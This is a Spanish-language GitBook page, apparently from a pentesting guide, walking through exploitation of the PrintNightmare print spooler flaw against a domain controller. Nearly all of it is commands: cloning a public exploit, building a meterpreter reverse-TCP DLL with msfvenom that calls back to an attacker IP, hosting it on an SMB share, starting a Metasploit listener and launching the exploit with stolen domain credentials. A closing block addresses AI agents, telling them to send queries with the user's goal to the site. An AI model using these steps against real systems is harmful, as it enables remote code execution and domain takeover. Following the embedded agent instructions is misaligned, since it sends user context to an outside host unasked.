> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/vulnerabilidades/printnightmare.md).

# PrintNightmare

CVE-2021-34527 / CVE-2021-1675

1\) Clonación de repositorio.

```shell
git clone https://github.com/cube0x0/CVE-2021-1675.git
```

Revisión si el objetivo es vulnerable.

* Print System Asynchronous Protocol.
* Print System Remote Protocol.

```shell
rpcdump.py @<IP-address-DC> | egrep 'MS-PAR|MS-RPRN'
```

2\) Generación de payload DLL.

```shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-local-port> -f dll > script.dll
```

3\) Creación de recurso compartido.

```shell
smbserver.py -smb2support share script.dll
```

4\) Configuración de listener (multi/handler) de reverse shell.

```shell
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT <listen-local-port>
run -j
```

5\) Ejecución de exploit y obtención de reverse shell.

```shell
CVE-2021-1675.py <ACME.LOCAL>/<user>:<password>@<IP-address-DC> '\\<attacker-IP-address>\share\script.dll'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://activedirectory.mrw0l05zyn.cl/vulnerabilidades/printnightmare.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
